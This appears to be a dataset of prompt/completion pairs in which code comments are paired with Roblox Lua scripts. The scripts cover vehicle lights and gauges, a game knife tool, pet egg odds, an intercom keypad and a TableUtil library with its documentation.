prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--CONFIGURATION -- Configuration may be changed in two ways: --- IN THE SCRIPT: ----- You can change the default values in the ----- script itself. This will change the star ----- map that is then generated with that script. ----- However, it is only loaded at runtime, and ----- is non-configurable after that. This method ----- is perfect for those who want a simple ----- starmap with easy customization. --- IN THE FUNCTION: ----- You can pass in a table to the function. ----- Any option can be specified in the table. ------ e.g. a table that looks like ------ { Object_Parent = game.Workspace.MyModel } ------ will force the script to parent all stars ------ to the specified model. You need not worry ------ about specifying all values, any that are ------ missing are loaded from the defaults in the ------ top of the script. ----- You can find a sample configuration in this ----- script's children.
-- body.F.BrickColor = bool and BrickColor.new("Pearl") or BrickColor.new("Fossil")
body.F.Material = bool and "Neon" or "SmoothPlastic" body.RRL.BrickColor = bool and BrickColor.new("Really red") or BrickColor.new("Crimson") body.RRL.Material = bool and "Neon" or "SmoothPlastic" body.F.L.Enabled = bool end end local b = '' function Toggle(dir, tog) if dir == 'Left' then body.RLeft.Material = tog and "Neon" or "SmoothPlastic" body.RLeft.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Crimson") body.LeftIn.Material = tog and "Neon" or "SmoothPlastic" body.LeftIn.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") car.Misc.FL.Mirror.Ind.Material = tog and "Neon" or "SmoothPlastic" car.Misc.FL.Mirror.Ind.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") car.DriveSeat.LI.Value = tog elseif dir == 'Right' then body.RRight.Material = tog and "Neon" or "SmoothPlastic" body.RRight.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Crimson") body.RightIn.Material = tog and "Neon" or "SmoothPlastic" body.RightIn.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") car.Misc.FR.Mirror.Ind.Material = tog and "Neon" or "SmoothPlastic" car.Misc.FR.Mirror.Ind.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") car.DriveSeat.RI.Value = tog elseif dir == 'Hazards' then body.RLeft.Material = tog and "Neon" or "SmoothPlastic" body.RRight.Material = tog and "Neon" or "SmoothPlastic" body.RLeft.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Crimson") body.RRight.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Crimson") body.LeftIn.Material = tog and "Neon" or "SmoothPlastic" body.LeftIn.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") body.RightIn.Material = tog and "Neon" or "SmoothPlastic" body.RightIn.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") car.Misc.FL.Mirror.Ind.Material = tog and "Neon" or "SmoothPlastic" car.Misc.FL.Mirror.Ind.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") car.Misc.FR.Mirror.Ind.Material = tog and "Neon" or "SmoothPlastic" car.Misc.FR.Mirror.Ind.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") car.DriveSeat.LI.Value = tog car.DriveSeat.RI.Value = tog end end function blink(typ) b = typ if blinking == true then blinking = false else blinking = true while blinking do Toggle(typ, true) script.Parent:FireClient(player, 'blink', .9, true) wait(1/3) Toggle(typ, false) script.Parent:FireClient(player, 'blink', 0.8, true) wait(1/3) end Toggle('Hazards', false) script.Parent:FireClient(player, 'blink', .9, false) end end script.Parent.Parent.ChildRemoved:connect(function(child) if child:IsA("Weld") and BlinkersEnabled then if blinking == true and b == 'Hazards' then return else blinking = false end end end) F.blinkers = function(dir) blink(dir) end script.Parent.OnServerEvent:connect(function(pl,Fnc,...) player = pl F[Fnc](...) end)
--Scripted by Tsuneoo, I hope you enjoy it! :D --Don't remove the "ReloadKnife" script, or the knife won't be working good!
wait() local CMouse = require(script.CMouse) while not CMouse:GetPlayer() do game:GetService("RunService").Hearbeat:Wait() end local SpeedBoost = 20 --Gives you more WalkSpeed when Equipped. You can change the 3 to any number you want. local tool = script.Parent local handle = script.Parent:WaitForChild("Handle") local killsound = handle:WaitForChild("Kill") local outsound = handle:WaitForChild("Out") local sticksound = handle:WaitForChild("Stick") local swooshsound = handle:WaitForChild("Swoosh") local throwsound = handle:WaitForChild("Throw") local player = CMouse:GetPlayer() while player.Character == nil do wait() end local char = player.Character local p_mouse = CMouse local speedAdj = { function(i) return math.sin((i*math.pi)-(math.pi/2))/2 + 0.5 end, function(i) return math.sin(((i-1)*(math.pi/2)))+1 end, function(i) return math.sin(i*(math.pi/2)) end, function(i) return i end } aWd = {} weldBase = {} weldAtc = {} local shiftStart = {} function updateArms() aWd[1].C0 = weldBase[aWd[1]]*weldAtc[aWd[1]] aWd[2].C0 = weldBase[aWd[2]]*weldAtc[aWd[2]] end function shiftWeld(weld,targ,spd,tm) local runServ = game:GetService("RunService") local c1 = {weldAtc[weld]:components()} local c2 = {targ:components()} local c3 = {} local adjF = nil if spd == nil or speedAdj[spd] == nil then adjF = speedAdj[4] else adjF = speedAdj[spd] end local exe = tick() shiftStart[weld] = exe spawn(function() while tick()<exe+tm and shiftStart[weld] == exe do local amt = adjF((tick()-exe)/tm) for i = 1,12 do c3[i] = (c1[i]*(1-amt))+(c2[i]*amt) end weldAtc[weld] = CFrame.new(unpack(c3)) runServ.Heartbeat:wait() end if shiftStart[weld] == exe then weldAtc[weld] = targ end end) end function weldArms() weldAtc[1] = char.Head.CFrame:inverse()*char["Right Arm"].CFrame weldAtc[2] = char.Head.CFrame:inverse()*char["Left Arm"].CFrame local w = Instance.new("Weld") weldAtc[w] = char.Head.CFrame:inverse()*char["Right Arm"].CFrame weldBase[w] = CFrame.new() char.Torso["Right Shoulder"].Part1 = nil w.Part0 = char.Head w.Part1 = char["Right Arm"] w.Parent = char.Torso aWd[1] = w w = Instance.new("Weld") weldAtc[w] = char.Head.CFrame:inverse()*char["Left Arm"].CFrame weldBase[w] = CFrame.new() char.Torso["Left Shoulder"].Part1 = nil w.Part0 = char.Head w.Part1 = char["Left Arm"] w.Parent = char.Torso aWd[2] = w local f1 = char["Right Arm"]:Clone() f1:ClearAllChildren() f1.BrickColor = BrickColor.new("Black") f1.Transparency = 0.5 Instance.new("BlockMesh").Parent = f1 f1.Mesh.Scale = Vector3.new(0.99,0.99,0.99) Instance.new("Weld").Parent = f1 f1.Weld.Part0 = char["Right Arm"] f1.Weld.Part1 = f1 f1.Name = "FakeArm" local f2 = f1:Clone() f2.Weld.Part0 = char["Left Arm"] f2.Weld.Part1 = f2 f1.Parent = workspace.CurrentCamera f2.Parent = workspace.CurrentCamera wait() end function fixArms() aWd[1]:Remove() aWd[2]:Remove() aWd[1] = nil aWd[2] = nil char.Torso["Left Shoulder"].Part1 = char["Left Arm"] char.Torso["Right Shoulder"].Part1 = char["Right Arm"] end eqTm = 0 function evalKill(hit) if slashing then if hit.Parent ~= nil and hit.Parent:FindFirstChild("Humanoid") ~= nil and hit.Parent.Humanoid.Health > 0 and not hit:IsDescendantOf(script.Parent.Parent) then if hit.Parent:FindFirstChild("Head") ~= nil then for _,s in ipairs(hit.Parent.Head:GetChildren()) do if s.className == "Sound" then s:Remove() end end handle.Kill:Clone().Parent = hit.Parent.Head hit.Parent.Head.Kill:Play() game.Debris:AddItem(hit.Parent.Head.Kill, 2) end hit.Parent.Humanoid:TakeDamage(100) end end end handle.Touched:connect(evalKill) handle.TouchEnded:connect(evalKill) tool.Equipped:connect(function(mouse) mouse = CMouse char.Humanoid.WalkSpeed = char.Humanoid.WalkSpeed + SpeedBoost local exe = tick() eqTm = exe weldArms() updateArms() shiftWeld(aWd[1],CFrame.new(1.09999847, -1.15000033, -0.400005341, 0.992094874, 0.123806097, 0.0204437803, -0.0335917398, 0.419010431, -0.907359898, -0.120902866, 0.899500489, 0.419857204),1,0.4) shiftWeld(aWd[2],CFrame.new(-1.04000473, -1.4000001, -0.490007401, 0.933408856, -0.2452925, -0.261869907, 0.0565752126, 0.82131362, -0.567664564, 0.354320973, 0.51504761, 0.780499399),1,0.4) outsound:Play() local mdTm = 0 local canThrow = true local throwing = false mouse.Button1Down:connect(function() if tool.Parent == char then if canThrow then canThrow = false throwing = true mdTm = tick() shiftWeld(aWd[1],CFrame.new(1.09999847, -0.440001011, -0.400005341, 0.992094994, 0.0142743737, -0.124667041, -0.0335872695, -0.92704916, -0.373433173, -0.120903023, 0.374668688, -0.919241786),4,2) end end end) mouse.Button1Up:connect(function() if tool.Parent == char then if throwing then throwing = false if tick()-mdTm < 0.3 then slashing = true if math.random(0,1) == 1 then shiftWeld(aWd[1],CFrame.new(1.46999359, -1.15000105, -0.370010376, 0.138720512, -0.580347955, 0.802465916, 0.949465632, 0.308310717, 0.0588407367, -0.281556904, 0.753751874, 0.593789041),1,0.3) wait(0.3) shiftWeld(aWd[1],CFrame.new(0.760002136, -1.05000091, -0.590011597, 0.485976994, 0.191964433, 0.852628171, 0.8737849, -0.126958504, -0.469451755, 0.0181299299, 0.973156273, -0.229435116),1,0.2) swooshsound:Play() wait(0.2) shiftWeld(aWd[1],CFrame.new(1.09999847, -1.15000033, -0.400005341, 0.992094874, 0.123806097, 0.0204437803, -0.0335917398, 0.419010431, -0.907359898, -0.120902866, 0.899500489, 0.419857204),1,0.4) wait(0.2) else shiftWeld(aWd[1],CFrame.new(0.390003204, -0.950000763, -0.470010757, 0.415637791, 0.736434817, 0.5337677, 0.852281868, -0.110433385, -0.511296451, -0.317590654, 0.667434156, -0.673550844),1,0.3) wait(0.3) shiftWeld(aWd[1],CFrame.new(0.969997406, -1.51000047, -0.470010757, 0.837237597, -0.309994906, 0.450482845, 0.540366888, 0.595374048, -0.594590068, -0.0838864371, 0.741239488, 0.665979683),1,0.2) swooshsound:Play() wait(0.2) shiftWeld(aWd[1],CFrame.new(1.09999847, -1.15000033, -0.400005341, 0.992094874, 0.123806097, 0.0204437803, -0.0335917398, 0.419010431, -0.907359898, -0.120902866, 0.899500489, 0.419857204),1,0.4) wait(0.2) end slashing = false else shiftWeld(aWd[1],CFrame.new(1.09999847, -1.15000033, -0.400005341, 0.992094874, 0.123806097, 0.0204437803, -0.0335917398, 0.419010431, -0.907359898, -0.120902866, 0.899500489, 0.419857204),1,0.2) if tick()-mdTm > 0.6 then local charge = (tick()-mdTm-0.5)/1.5 if charge>1 then charge = 1 end wait(0.1) local thrown = handle:Clone() handle.Transparency = 1 Instance.new("BodyForce").Parent = thrown thrown.BodyForce.force = Vector3.new(0,192.6*thrown:GetMass()*math.sqrt(charge),0) thrown.Name = player.Name thrown.Parent = workspace thrown.Velocity = (mouse.Hit.p-thrown.Position).unit*(73+(charge*73)) thrown.CFrame = CFrame.new(thrown.Position,mouse.Hit.p) thrown.RotVelocity = Vector3.new(-thrown.CFrame.lookVector.Z,0,thrown.CFrame.lookVector.X)*-50 thrown.Throw:Play() script.KnifeScript:Clone().Parent = thrown thrown.KnifeScript.Disabled = false wait(1) outsound:Play() handle.Transparency = 0 end end wait(0.1) canThrow = true end end end) while eqTm == exe do updateArms() wait() end end) tool.Unequipped:connect(function() char.Humanoid.WalkSpeed = char.Humanoid.WalkSpeed - SpeedBoost eqTm = 0 fixArms() while workspace.CurrentCamera:FindFirstChild("FakeArm") ~= nil do workspace.CurrentCamera.FakeArm:Remove() end end)
--create tables:
for i,part in pairs(model:GetChildren()) do if string.sub(part.Name, 1,1) == "a" then table.insert(a, 1, part) end end for i,part in pairs(model:GetChildren()) do if string.sub(part.Name, 1,1) == "b" then table.insert(b, 1, part) end end function lightOn(T) for i, part in pairs (T) do if part:FindFirstChild("SurfaceLight") then part.SurfaceLight.Enabled = true end if part:FindFirstChild("SpotLight") then part.SpotLight.Enabled = true part.Material = "Neon" end end end function lightOff(T) for i, part in pairs (T) do if part:FindFirstChild("SurfaceLight") then part.SurfaceLight.Enabled = false end if part:FindFirstChild("SpotLight") then part.SpotLight.Enabled = false part.Material = "SmoothPlastic" end end end while true do lightOn(a) wait(0.25) lightOff(a) wait(0.25) lightOn(a) wait(0.25) lightOff(a) wait(0.25) lightOn(b) wait(0.25) lightOff(b) wait(0.25) lightOn(b) wait(0.25) lightOff(b) wait(0.25) end
--//Server Relay
event.OnServerEvent:Connect(function(player) event:FireAllClients(player) --Tell all the clients that this player is double jumping end)
--[[ Edit This The Percentages For Who Do Not Has The Gamepass! ]]
-- local module = { ["Common"] = { ["Cost"] = 250, ["Pets"] = { ["3"] = {1}, ["4"] = {1}, } }, ["Rare"] = { ["Cost"] = 250, ["Pets"] = { ["2"] = {1}, } }, ["Epic"] = { ["Cost"] = 250, ["Pets"] = { ["1"] = {1}, } }, } return module
--[[Shutdown]]
bike.DriveSeat.ChildRemoved:connect(function(child) bike.Body.bal.LeanGyro.D = 0 bike.Body.bal.LeanGyro.MaxTorque = Vector3.new(0,0,0) bike.Body.bal.LeanGyro.P = 0 bike.RearSection.Axle.HingeConstraint.MotorMaxTorque = 0 end)
--[=[ @class PlayerGuiUtils ]=]
local Players = game:GetService("Players") local PlayerGuiUtils = {} function PlayerGuiUtils.getPlayerGui() local localPlayer = Players.LocalPlayer if not localPlayer then error("No localPlayer") end return localPlayer:FindFirstChildOfClass("PlayerGui") or error("No PlayerGui") end return PlayerGuiUtils
---
function enter() if sys.Call.Value == false and KVs["Value"..folder.KV.Value.Value].Locked.Value == false then sys.LastKV.Value = folder.KV.Value.Value sys.Call.Value = true wait(1.5) --- KVs["Value"..sys.LastKV.Value].Ring.Sound:Play() KVs["Value"..sys.LastKV.Value].OLED.Call.Enabled = true KVs["Value"..sys.LastKV.Value].ButtonNeon.Material = Enum.Material.Neon KVs["Value"..sys.LastKV.Value].Open.Script.Disabled = false --- huh.Sound:Play() --- wait(callwait) --- KVs["Value"..sys.LastKV.Value].Ring.Sound:Stop() KVs["Value"..sys.LastKV.Value].OLED.Call.Enabled = false KVs["Value"..sys.LastKV.Value].ButtonNeon.Material = Enum.Material.SmoothPlastic KVs["Value"..sys.LastKV.Value].Open.Script.Disabled = true --- huh.Sound:Stop() folder.KV.Value.Value = "" sys.LastKV.Value = "" --- sys.Call.Value = false elseif KVs["Value"..folder.KV.Value.Value].Locked.Value == true then off() end end function stopcall() if sys.Call.Value == true then --- KVs["Value"..sys.LastKV.Value].Ring.Sound:Stop() KVs["Value"..sys.LastKV.Value].OLED.Call.Enabled = false KVs["Value"..sys.LastKV.Value].ButtonNeon.Material = Enum.Material.SmoothPlastic KVs["Value"..sys.LastKV.Value].Open.Script.Disabled = true --- end end function sbros() --- huh.Sound:Stop() --- sys.Call.Value = false sys.Code.Value = false sys.KVEnter.Value = false --- folder.KV.Value.Value = "" sys.LastKV.Value = "" --- end script.Parent["1"].ClickDetector.MouseClick:Connect(function() huh.ButtonSound:Play() folder.KV.Value.Value = folder.KV.Value.Value ..1 end) script.Parent["2"].ClickDetector.MouseClick:Connect(function() huh.ButtonSound:Play() folder.KV.Value.Value = folder.KV.Value.Value ..2 end) script.Parent["3"].ClickDetector.MouseClick:Connect(function() huh.ButtonSound:Play() folder.KV.Value.Value = folder.KV.Value.Value ..3 end) script.Parent["4"].ClickDetector.MouseClick:Connect(function() huh.ButtonSound:Play() folder.KV.Value.Value = folder.KV.Value.Value ..4 end) script.Parent["5"].ClickDetector.MouseClick:Connect(function() huh.ButtonSound:Play() folder.KV.Value.Value = folder.KV.Value.Value ..5 end) script.Parent["6"].ClickDetector.MouseClick:Connect(function() huh.ButtonSound:Play() folder.KV.Value.Value = folder.KV.Value.Value ..6 end) script.Parent["7"].ClickDetector.MouseClick:Connect(function() huh.ButtonSound:Play() folder.KV.Value.Value = folder.KV.Value.Value ..7 end) script.Parent["8"].ClickDetector.MouseClick:Connect(function() huh.ButtonSound:Play() folder.KV.Value.Value = folder.KV.Value.Value ..8 end) script.Parent["9"].ClickDetector.MouseClick:Connect(function() huh.ButtonSound:Play() folder.KV.Value.Value = folder.KV.Value.Value ..9 end) script.Parent["0"].ClickDetector.MouseClick:Connect(function() huh.ButtonSound:Play() folder.KV.Value.Value = folder.KV.Value.Value ..0 end) script.Parent.C.ClickDetector.MouseClick:Connect(function() huh.ButtonSound:Play()
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive) v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20) end end for i=0,revEnd*2 do local ln = script.Parent.ln:clone() ln.Parent = script.Parent.Tach ln.Rotation = 45 + i * 225 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(1,0,0) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = script.Parent.Tach ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end local lns = Instance.new("Frame",script.Parent.Speedo) lns.Name = "lns" lns.BackgroundTransparency = 1 lns.BorderSizePixel = 0 lns.Size = UDim2.new(0,0,0,0) for i=1,90 do local ln = script.Parent.ln:clone() ln.Parent = lns ln.Rotation = 45 + 225*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) else ln.Frame.Size = UDim2.new(0,3,0,5) end ln.Num:Destroy() ln.Visible=true end for i,v in pairs(UNITS) do local lnn = Instance.new("Frame",script.Parent.Speedo) lnn.BackgroundTransparency = 1 lnn.BorderSizePixel = 0 lnn.Size = UDim2.new(0,0,0,0) lnn.Name = v.units if i~= 1 then lnn.Visible=false end for i=0,v.maxSpeed,v.spInc do local ln = script.Parent.ln:clone() ln.Parent = lnn ln.Rotation = 45 + 225*(i/v.maxSpeed) ln.Num.Text = i ln.Num.TextSize = 14 ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=true end end if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end script.Parent.Parent.IsOn.Changed:connect(function() if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) script.Parent.Parent.Values.RPM.Changed:connect(function() script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000)) end) script.Parent.Parent.Values.Gear.Changed:connect(function() local gearText = script.Parent.Parent.Values.Gear.Value if gearText == 0 then gearText = "N" elseif gearText == -1 then gearText = "R" end script.Parent.Gear.Text = gearText end) script.Parent.Parent.Values.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCS.Value then script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.TCSActive.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = true script.Parent.TCS.TextColor3 = Color3.new(1,0,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.TCS.Visible = false end end) script.Parent.Parent.Values.TCSActive.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = false end end) script.Parent.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true end else if script.Parent.TCS.Visible then script.Parent.TCS.Visible = false end end end) script.Parent.Parent.Values.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABS.Value then script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.ABSActive.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = true script.Parent.ABS.TextColor3 = Color3.new(1,0,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.ABS.Visible = false end end) script.Parent.Parent.Values.ABSActive.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = false end end) script.Parent.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true end else if script.Parent.ABS.Visible then script.Parent.ABS.Visible = false end end end) script.Parent.Parent.Values.PBrake.Changed:connect(function() script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value end) script.Parent.Parent.Values.TransmissionMode.Changed:connect(function() if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then script.Parent.TMode.Text = "A/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0) elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then script.Parent.TMode.Text = "S/T" script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255) else script.Parent.TMode.Text = "M/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5) end end) script.Parent.Parent.Values.Velocity.Changed:connect(function(property) script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed) script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) script.Parent.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end for i,v in pairs(script.Parent.Speedo:GetChildren()) do v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns" end script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) mouse.KeyDown:connect(function(key) if key=="v" then script.Parent.Visible=not script.Parent.Visible end end)
--[[ TableUtil.Copy(Table tbl) TableUtil.CopyShallow(Table tbl) TableUtil.Sync(Table tbl, Table templateTbl) TableUtil.Print(Table tbl, String label, Boolean deepPrint) TableUtil.FastRemove(Table tbl, Number index) TableUtil.FastRemoveFirstValue(Table tbl, Variant value) TableUtil.Map(Table tbl, Function callback) TableUtil.Filter(Table tbl, Function callback) TableUtil.Reduce(Table tbl, Function callback [, Number initialValue]) TableUtil.Assign(Table target, ...Table sources) TableUtil.IndexOf(Table tbl, Variant item) TableUtil.Reverse(Table tbl) TableUtil.Shuffle(Table tbl) TableUtil.IsEmpty(Table tbl) TableUtil.EncodeJSON(Table tbl) TableUtil.DecodeJSON(String json) EXAMPLES: Copy: Performs a deep copy of the given table. In other words, all nested tables will also get copied. local tbl = {"a", "b", "c"} local tblCopy = TableUtil.Copy(tbl) CopyShallow: Performs a shallow copy of the given table. In other words, all nested tables will not be copied, but only moved by reference. Thus, a nested table in both the original and the copy will be the same. local tbl = {"a", "b", "c"} local tblCopy = TableUtil.CopyShallow(tbl) Sync: Synchronizes a table to a template table. If the table does not have an item that exists within the template, it gets added. If the table has something that the template does not have, it gets removed. local tbl1 = {kills = 0; deaths = 0; points = 0} local tbl2 = {points = 0} TableUtil.Sync(tbl2, tbl1) -- In words: "Synchronize table2 to table1" print(tbl2.deaths) Print: Prints out the table to the output in an easy-to-read format. Good for debugging tables. If deep printing, avoid cyclical references. local tbl = {a = 32; b = 64; c = 128; d = {x = 0; y = 1; z = 2}} TableUtil.Print(tbl, "My Table", true) FastRemove: Removes an item from an array at a given index. Only use this if you do NOT care about the order of your array. This works by simply popping the last item in the array and overwriting the given index with the last item. This is O(1), compared to table.remove's O(n) speed. local tbl = {"hello", "there", "this", "is", "a", "test"} TableUtil.FastRemove(tbl, 2) -- Remove "there" in the array print(table.concat(tbl, " ")) -- > hello this is a test FastRemoveFirstValue: Calls FastRemove on the first index that holds the given value. local tbl = {"abc", "hello", "hi", "goodbye", "hello", "hey"} local removed, atIndex = TableUtil.FastRemoveFirstValue(tbl, "hello") if (removed) then print("Removed at index " .. atIndex) print(table.concat(tbl, " ")) -- > abc hi goodbye hello hey else print("Did not find value") end Map: This allows you to construct a new table by calling the given function on each item in the table. local peopleData = { {firstName = "Bob"; lastName = "Smith"}; {firstName = "John"; lastName = "Doe"}; {firstName = "Jane"; lastName = "Doe"}; } local people = TableUtil.Map(peopleData, function(item) return {Name = item.firstName .. " " .. item.lastName} end) -- 'people' is now an array that looks like: { {Name = "Bob Smith"}; ... } Filter: This allows you to create a table based on the given table and a filter function. If the function returns 'true', the item remains in the new table; if the function returns 'false', the item is discluded from the new table. local people = { {Name = "Bob Smith"; Age = 42}; {Name = "John Doe"; Age = 34}; {Name = "Jane Doe"; Age = 37}; } local peopleUnderForty = TableUtil.Filter(people, function(item) return item.Age < 40 end) Reduce: This allows you to reduce an array to a single value. Useful for quickly summing up an array. local tbl = {40, 32, 9, 5, 44} local tblSum = TableUtil.Reduce(tbl, function(accumulator, value) return accumulator + value end) print(tblSum) -- > 130 Assign: This allows you to assign values from multiple tables into one. The Assign function is very similar to JavaScript's Object.Assign() and is useful for things such as composition-designed systems. local function Driver() return { Drive = function(self) self.Speed = 10 end; } end local function Teleporter() return { Teleport = function(self, pos) self.Position = pos end; } end local function CreateCar() local state = { Speed = 0; Position = Vector3.new(); } -- Assign the Driver and Teleporter components to the car: return TableUtil.Assign({}, Driver(), Teleporter()) end local car = CreateCar() car:Drive() car:Teleport(Vector3.new(0, 10, 0)) IndexOf: Returns the index of the given item in the table. If not found, this will return nil. local tbl = {"Hello", 32, true, "abc"} local abcIndex = TableUtil.IndexOf("abc") -- > 4 local helloIndex = TableUtil.IndexOf("Hello") -- > 1 local numberIndex = TableUtil.IndexOf(64) -- > nil Reverse: Creates a reversed version of the array. Note: This is a shallow copy, so existing references will remain within the new table. local tbl = {2, 4, 6, 8} local rblReversed = TableUtil.Reverse(tbl) -- > {8, 6, 4, 2} Shuffle: Shuffles (i.e. randomizes) an array. This uses the Fisher-Yates algorithm. local tbl = {1, 2, 3, 4, 5, 6, 7, 8, 9} TableUtil.Shuffle(tbl) print(table.concat(tbl, ", ")) -- e.g. > 3, 6, 9, 2, 8, 4, 1, 7, 5 --]]
local TableUtil = {} local http = game:GetService("HttpService") local function CopyTable(t) assert(type(t) == "table", "First argument must be a table") local tCopy = table.create(#t) for k,v in pairs(t) do if (type(v) == "table") then tCopy[k] = CopyTable(v) else tCopy[k] = v end end return tCopy end local function CopyTableShallow(t) local tCopy = table.create(#t) for k,v in pairs(t) do tCopy[k] = v end return tCopy end local function Sync(tbl, templateTbl) assert(type(tbl) == "table", "First argument must be a table") assert(type(templateTbl) == "table", "Second argument must be a table") -- If 'tbl' has something 'templateTbl' doesn't, then remove it from 'tbl' -- If 'tbl' has something of a different type than 'templateTbl', copy from 'templateTbl' -- If 'templateTbl' has something 'tbl' doesn't, then add it to 'tbl' for k,v in pairs(tbl) do local vTemplate = templateTbl[k] -- Remove keys not within template: if (vTemplate == nil) then tbl[k] = nil -- Synchronize data types: elseif (type(v) ~= type(vTemplate)) then if (type(vTemplate) == "table") then tbl[k] = CopyTable(vTemplate) else tbl[k] = vTemplate end -- Synchronize sub-tables: elseif (type(v) == "table") then Sync(v, vTemplate) end end -- Add any missing keys: for k,vTemplate in pairs(templateTbl) do local v = tbl[k] if (v == nil) then if (type(vTemplate) == "table") then tbl[k] = CopyTable(vTemplate) else tbl[k] = vTemplate end end end end local function FastRemove(t, i) local n = #t t[i] = t[n] t[n] = nil end local function Map(t, f) assert(type(t) == "table", "First argument must be a table") assert(type(f) == "function", "Second argument must be an array") local newT = table.create(#t) for k,v in pairs(t) do newT[k] = f(v, k, t) end return newT end local function Filter(t, f) assert(type(t) == "table", "First argument must be a table") assert(type(f) == "function", "Second argument must be an array") local newT = 